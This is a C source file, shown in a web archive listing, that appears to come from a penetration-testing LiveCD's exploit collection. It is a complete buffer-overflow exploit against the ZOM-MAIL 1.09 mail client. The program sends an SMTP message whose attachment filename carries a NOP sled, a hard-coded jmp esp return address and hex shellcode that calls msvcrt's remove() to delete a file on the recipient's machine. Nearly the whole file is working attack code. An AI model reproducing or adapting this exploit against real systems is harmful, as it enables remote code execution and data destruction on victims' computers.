home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / zom-mail / zome.c < prev   
Encoding:
C/C++ Source or Header  |  2005-02-12  |  4.1 KB  |  124 lines
  1. /*=============================================================================
  2.    ZOM-MAIL 1.09 Exploit
  3.    The Shadow Penguin Security (http://shadowpenguin.backsection.net)
  4.    Written by UNYUN (shadowpenguin@backsection.net)
  5.   =============================================================================
  6. */
  7.  
  8. #include    <stdio.h>
  9. #include    <string.h>
  10. #include    <windows.h> 
  11. #include    <winsock.h>
  12.  
  13. #define     TARGET_FILE     "c:\\windows\\test.txt"
  14. #define     MAXBUF          3000
  15. #define     RETADR          768
  16. #define     JMPESP_ADR      0xbffca4f7
  17. #define     STACK_BYTES     32
  18. #define     SMTP_PORT       25
  19.  
  20. #define     CONTENT \
  21. "Subject: [Warning!!] This is exploit test mail.\r\n"\
  22. "MIME-Version: 1.0\r\n"\
  23. "Content-Type: multipart/mixed; "\
  24. "boundary=\"U3VuLCAzMSBPY3QgMTk5OSAxODowODo1OCArMDkwMA==\"\r\n"\
  25. "Content-Transfer-Encoding: 7bit\r\n"\
  26. "--U3VuLCAzMSBPY3QgMTk5OSAxODowODo1OCArMDkwMA==\r\n"\
  27. "Content-Type: image/gif; name=\"%s.gif\"\r\n"\
  28. "Content-Disposition: attachment;\r\n"\
  29. " filename=\"temp.gif\"\r\n"
  30.  
  31. unsigned char exploit_code[200]={
  32. 0xEB,0x32,0x5B,0x53,0x32,0xE4,0x83,0xC3,
  33. 0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,
  34. 0xBF,0xFF,0xD0,0x43,0x53,0x50,0x32,0xE4,
  35. 0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,
  36. 0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x43,0x53,
  37. 0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,
  38. 0xD6,0x90,0xEB,0xFD,0xE8,0xC9,0xFF,0xFF,
  39. 0xFF,0x00
  40. };
  41. unsigned char cmdbuf[200]="msvcrt.dll.remove.";
  42.  
  43. void send_smtpcmd(SOCKET sock,char *cmd)
  44. {
  45.     char    reply[MAXBUF];
  46.     int     r;
  47.     send(sock,cmd,strlen(cmd),0);
  48.     r=recv(sock,reply,MAXBUF,0);
  49.     reply[r]=0;
  50.     printf("%-11s: %s\n",strtok(cmd,":"),reply);
  51. }
  52. main(int argc,char *argv[])
  53. {
  54.     SOCKET               sock;
  55.     SOCKADDR_IN          addr;
  56.     WSADATA              wsa;
  57.     WORD                 wVersionRequested;
  58.     unsigned int         ip,p1,p2;
  59.     char                 buf[MAXBUF],packetbuf[MAXBUF+1000];
  60.     struct hostent       *hs;
  61.  
  62.     if (argc<3){
  63.         printf("This exploit removes \"%s\" on the victim host",TARGET_FILE);
  64.         printf("usage: %s SMTPserver Mailaddress\n",argv[0]);
  65.         return -1;
  66.     }
  67.     wVersionRequested = MAKEWORD( 2, 0 );
  68.     if (WSAStartup(wVersionRequested , &wsa)!=0){
  69.         printf("Winsock Initialization failed.\n"); return -1;
  70.     }
  71.     if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
  72.         printf("Can not create socket.\n"); return -1;
  73.     }
  74.     addr.sin_family     = AF_INET;
  75.     addr.sin_port       = htons((u_short)SMTP_PORT);
  76.     if ((addr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
  77.             if ((hs=gethostbyname(argv[1]))==NULL){
  78.                 printf("Can not resolve specified host.\n"); return -1;
  79.             }
  80.             addr.sin_family = hs->h_addrtype;
  81.             memcpy((void *)&addr.sin_addr.s_addr,hs->h_addr,hs->h_length);
  82.     }
  83.     if (connect(sock,(LPSOCKADDR)&addr,sizeof(addr))==SOCKET_ERROR){
  84.         printf("Can not connect to specified host.\n"); return -1;
  85.     }
  86.     recv(sock,packetbuf,MAXBUF,0);
  87.     printf("BANNER    : %s\n",packetbuf);
  88.  
  89.     send_smtpcmd(sock,"EHLO mail.attcker-host.net\r\n");
  90.     send_smtpcmd(sock,"MAIL FROM: <attacker@attacker-host.net>\r\n");
  91.     sprintf(packetbuf,"RCPT TO: <%s>\r\n",argv[2]);
  92.     send_smtpcmd(sock,packetbuf);
  93.     send_smtpcmd(sock,"DATA\r\n");
  94.     
  95.     memset(buf,0x90,MAXBUF); buf[MAXBUF]=0;
  96.     ip=JMPESP_ADR;
  97.     buf[RETADR  ]=ip&0xff;
  98.     buf[RETADR+1]=(ip>>8)&0xff;
  99.     buf[RETADR+2]=(ip>>16)&0xff;
  100.     buf[RETADR+3]=(ip>>24)&0xff;
  101.  
  102.     strcat(exploit_code,cmdbuf);
  103.     strcat(exploit_code,TARGET_FILE);
  104.     p1=(unsigned int)LoadLibrary;
  105.     p2=(unsigned int)GetProcAddress;
  106.     exploit_code[0x0d]=p1&0xff;
  107.     exploit_code[0x0e]=(p1>>8)&0xff;
  108.     exploit_code[0x0f]=(p1>>16)&0xff;
  109.     exploit_code[0x10]=(p1>>24)&0xff;
  110.     exploit_code[0x1e]=p2&0xff;
  111.     exploit_code[0x1f]=(p2>>8)&0xff;
  112.     exploit_code[0x20]=(p2>>16)&0xff;
  113.     exploit_code[0x21]=(p2>>24)&0xff;
  114.     exploit_code[0x2a]=strlen(TARGET_FILE);
  115.     memcpy(buf+RETADR+4+STACK_BYTES,exploit_code,strlen(exploit_code));
  116.  
  117.     sprintf(packetbuf,CONTENT,buf);
  118.     send(sock,packetbuf,strlen(packetbuf),0);
  119.     send_smtpcmd(sock,".\r\n");
  120.     closesocket(sock);
  121.     printf("Done.\n");
  122.     return FALSE;
  123. }
  124.